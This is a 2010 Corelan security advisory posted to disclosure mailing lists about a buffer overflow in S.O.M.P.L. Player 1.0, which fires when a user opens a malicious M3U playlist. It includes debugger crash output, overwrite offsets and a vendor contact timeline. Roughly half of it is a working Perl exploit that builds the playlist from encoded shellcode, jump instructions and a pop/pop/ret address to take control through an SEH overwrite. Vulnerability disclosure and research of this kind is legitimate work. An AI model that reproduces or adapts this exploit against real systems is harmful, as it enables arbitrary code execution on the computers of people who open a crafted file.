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Date: Tue, 19 Jan 2010 22:24:24 +0100
From: Security <security@...elan.be>
To: "full-disclosure@...ts.grok.org.uk" <full-disclosure@...ts.grok.org.uk>,
"secalert@...urityreason.com" <secalert@...urityreason.com>,
"bugtraq@...urityfocus.com" <bugtraq@...urityfocus.com>, "vuln@...unia.com"
<vuln@...unia.com>, "submissions@...ketstormsecurity.org"
<submissions@...ketstormsecurity.org>
Subject: [CORELAN-10-006] BOF Vulnerability in S.O.M.P.L.
Player
|------------------------------------------------------------------|
| __ __ |
| _________ ________ / /___ _____ / /____ ____ _____ ___ |
| / ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ |
| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |
| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/ |
| |
| http://www.corelan.be:8800 |
| security@...elan.be |
| |
|-------------------------------------------------[ EIP Hunters ]--|
| |
| Vulnerability Disclosure Report |
| |
|------------------------------------------------------------------|
Advisory : CORELAN-10-006
Disclosure date : 20 January 2010
http://www.corelan.be:8800/index.php/forum/security-advisories/
0x00 : Vulnerability information
--------------------------------
[*] Product : S.O.M.P.L player
[*] Version : 1.0
[*] Vendor : George Fesalides
[*] URL : http://sourceforge.net/projects/somplmp3/files/
[*] URL2 : http://www.softpedia.com/progDownload/SOMPL-Download-144999.html
[*] Platform : Windows
[*] Type of vulnerability : Buffer Overflow
[*] Risk rating : Medium
[*] Issue fixed in version : ???
[*] Vulnerability discovered by : Rick2600
[*] Greetings to : corelanc0d3r, EdiStrosar, mr_me, ekse, MarkoT, sinn3r
0x01 : Vendor description of software
-------------------------------------
S.O.M.PL. Is a Simple Open Music Player that plays mp3 files. This player loads mp3 files and stores them in a playlist. It includes features such as random tracks selection,tracks repetition,loading playlist, saving playlist.
0x02 : Vulnerability details
----------------------------
The discovered vulnerability allows an attacker to send a crafted malicious playlist (M3U) whereby
the user could be tricked into executing unauthorized commands.
In order for the vulnerability to be triggered, an end user must be tricked into loading a malicious
playlist (M3U) on SOMPL.
Crash information :
(dc.e4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=41414141 ecx=00000000 edx=00000000 esi=0012eb48 edi=00000000
eip=40004ae4 esp=0012eb18 ebp=0012fb4c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
VCL50!SystemLStrClr$qqrr17SystemAnsiString:
40004ae4 8b10 mov edx,dword ptr [eax] ds:0023:41414141=????????
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
0:000> !exchain
0012eb2c: VCL50!StdctrlsTRadioButtonCNCommand$qqrr19MessagesTWMCommand+e6 (40048762)
0012fb7c: 41414141
Invalid exception stack at 41414141
!pvefindaddr findmsp :
Log data
0BADF00D -------------------------------------------------------------------------
0BADF00D Searching for metasploit pattern references
0BADF00D -------------------------------------------------------------------------
0BADF00D [1] Checking register addresses and contents
0BADF00D ============================================
0BADF00D Register EDI points to Metasploit pattern at position 0
0BADF00D Register EAX is overwritten with Metasploit pattern at position 4096
0BADF00D Register EBP points to Metasploit pattern at position 4100
0BADF00D Register EDX points to Metasploit pattern at position 0
0BADF00D Register EBX is overwritten with Metasploit pattern at position 4096
0BADF00D Register ESI points to Metasploit pattern at position 0
0BADF00D [2] Checking seh chain
0BADF00D ======================
0BADF00D - Checking seh chain entry at 0x0012eb2c, value 40048762
0BADF00D - Checking seh chain entry at 0x0012fb7c, value 46346946
0BADF00D => record is overwritten with Metasploit pattern at position 4152
0BADF00D -------------------------------------------------------------------------
0x03 : Vendor communication
---------------------------
[*] 28 dec 2009 : Vendor contacted - no reply
[*] 09 jan 2010 : Vendor contacted again - still no reply
[*] 20 jan 2010 : Public disclosure
0x04 : Exploit/PoC
------------------
# Exploit Title : SOMPL Player Buffer Overflow
# Date : 20 January 2010
# Author : Rick2600 (ricks2600[at]gmail{dot}com)
# Bug found by : Rick2600 (ricks2600[at]gmail{dot}com)
# Software Link : http://www.softpedia.com/progDownload/SOMPL-Download-144999.html
# Version : 1.0
# Issue fixed in: ???
# OS : Windows
# Tested on : XP SP2 and SP3 En
# Type of vuln : Buffer Overflow
# Greetz to : Corelan Security Team:: corelanc0d3r, EdiStrosar, mr_me, ekse, MarkoT, sinn3r
#
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
#
#
# Code :
print "|------------------------------------------------------------------|\n";
print "| __ __ |\n";
print "| _________ ________ / /___ _____ / /____ ____ _____ ___ |\n";
print "| / ___/ __ \\/ ___/ _ \\/ / __ `/ __ \\ / __/ _ \\/ __ `/ __ `__ \\ |\n";
print "| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |\n";
print "| \\___/\\____/_/ \\___/_/\\__,_/_/ /_/ \\__/\\___/\\__,_/_/ /_/ /_/ |\n";
print "| |\n";
print "| http://www.corelan.be:8800 |\n";
print "| |\n";
print "|-------------------------------------------------[ EIP Hunters ]--|\n";
print "[+] SOMPL Player Buffer Overflow - SEH Overwrite\n";
$header = "#EXTM3U\n#EXTINF:";
#Shellcode: x86/alpha_mixed( MsgBox )
$shellcode =
"\x89\xe7\xdb\xcf\xd9\x77\xf4\x59\x49\x49\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a" .
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" .
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" .
"\x75\x4a\x49\x48\x6b\x44\x62\x50\x56\x46\x51\x4b\x70\x42" .
"\x44\x4c\x4b\x43\x70\x46\x50\x4b\x35\x4b\x70\x51\x68\x44" .
"\x4c\x4e\x6b\x47\x30\x44\x4c\x4c\x4b\x50\x70\x47\x6c\x4c" .
"\x6d\x4c\x4b\x43\x70\x46\x68\x4a\x4b\x46\x69\x4c\x4b\x43" .
"\x70\x44\x74\x4e\x6d\x43\x70\x51\x6c\x4c\x4b\x47\x30\x45" .
"\x6c\x43\x6e\x4f\x33\x48\x6b\x45\x39\x45\x30\x4c\x4b\x42" .
"\x4c\x51\x34\x51\x34\x4e\x6b\x43\x75\x47\x4c\x4e\x6b\x51" .
"\x44\x47\x75\x43\x48\x46\x61\x49\x7a\x4e\x6b\x50\x4a\x47" .
"\x68\x4e\x6b\x42\x7a\x51\x30\x43\x31\x4a\x4b\x4a\x43\x50" .
"\x34\x47\x39\x4c\x4b\x44\x74\x4c\x4b\x43\x31\x48\x6e\x50" .
"\x31\x4b\x4f\x45\x61\x49\x50\x4b\x4c\x4c\x6c\x4d\x54\x49" .
"\x50\x44\x34\x43\x37\x4a\x61\x48\x4f\x46\x6d\x46\x61\x48" .
"\x47\x48\x6b\x4b\x44\x45\x6b\x43\x4c\x44\x64\x46\x48\x50" .
"\x75\x4d\x31\x4c\x4b\x43\x6a\x51\x34\x47\x71\x48\x6b\x50" .
"\x66\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4a\x45\x4c\x46" .
"\x61\x4a\x4b\x4c\x4b\x43\x34\x4c\x4b\x46\x61\x48\x68\x4d" .
"\x59\x47\x34\x46\x44\x45\x4c\x50\x61\x4f\x33\x4e\x4d\x42" .
"\x70\x46\x32\x48\x68\x4f\x5a\x4b\x4f\x4b\x4f\x49\x6f\x4e" .
"\x69\x43\x37\x51\x54\x51\x54\x47\x34\x43\x74\x43\x74\x47" .
"\x34\x43\x74\x42\x64\x47\x37\x47\x37\x50\x47\x42\x67\x50" .
"\x39\x48\x4e\x51\x65\x4b\x56\x4a\x63\x42\x6c\x50\x4c\x42" .
"\x6c\x42\x6c\x4d\x59\x4b\x55\x4b\x58\x45\x38\x4b\x4f\x49" .
"\x6f\x49\x6f\x4c\x49\x4b\x72\x48\x6b\x45\x4c\x51\x4e\x4c" .
"\x4d\x51\x6d\x45\x54\x4e\x69\x4c\x31\x4b\x30\x49\x51\x46" .
"\x6c\x48\x68\x4f\x38\x49\x6f\x49\x6f\x4b\x4f\x48\x6b\x47" .
"\x65\x45\x61\x49\x42\x51\x49\x4c\x48\x42\x71\x42\x34\x43" .
"\x61\x42\x72\x4b\x4f\x50\x54\x44\x64\x44\x4c\x4a\x48\x4b" .
"\x6f\x4b\x4f\x4b\x4f\x4b\x4f\x51\x47\x51\x6f\x51\x39\x42" .
"\x42\x48\x68\x48\x66\x4b\x4f\x49\x6f\x49\x6f\x47\x33\x42" .
"\x4f\x43\x42\x51\x75\x42\x4c\x50\x61\x42\x4e\x51\x30\x50" .
"\x54\x51\x75\x43\x51\x50\x6d\x51\x30\x44\x6d\x47\x50\x42" .
"\x70\x42\x77\x50\x4e\x50\x45\x42\x64\x42\x78\x41\x41";
$filename = "somplPOC.m3u";
print "[+] Check: $filename\n\n";
$buffer = "\x90" x 5;
$buffer .= $shellcode;
$buffer .= "B" x (4138 - length($shellcode));
$buffer .= "\xE9\xCD\xEF\xFF\xFF";
$buffer .= "\xEB\xF9\x90\x90";
$buffer .= pack("V", 0x32501B07); # pop/pop/ret Universal from cc3250mt.dll
open (FILE, ">$filename");
print FILE $buffer;
close(FILE);
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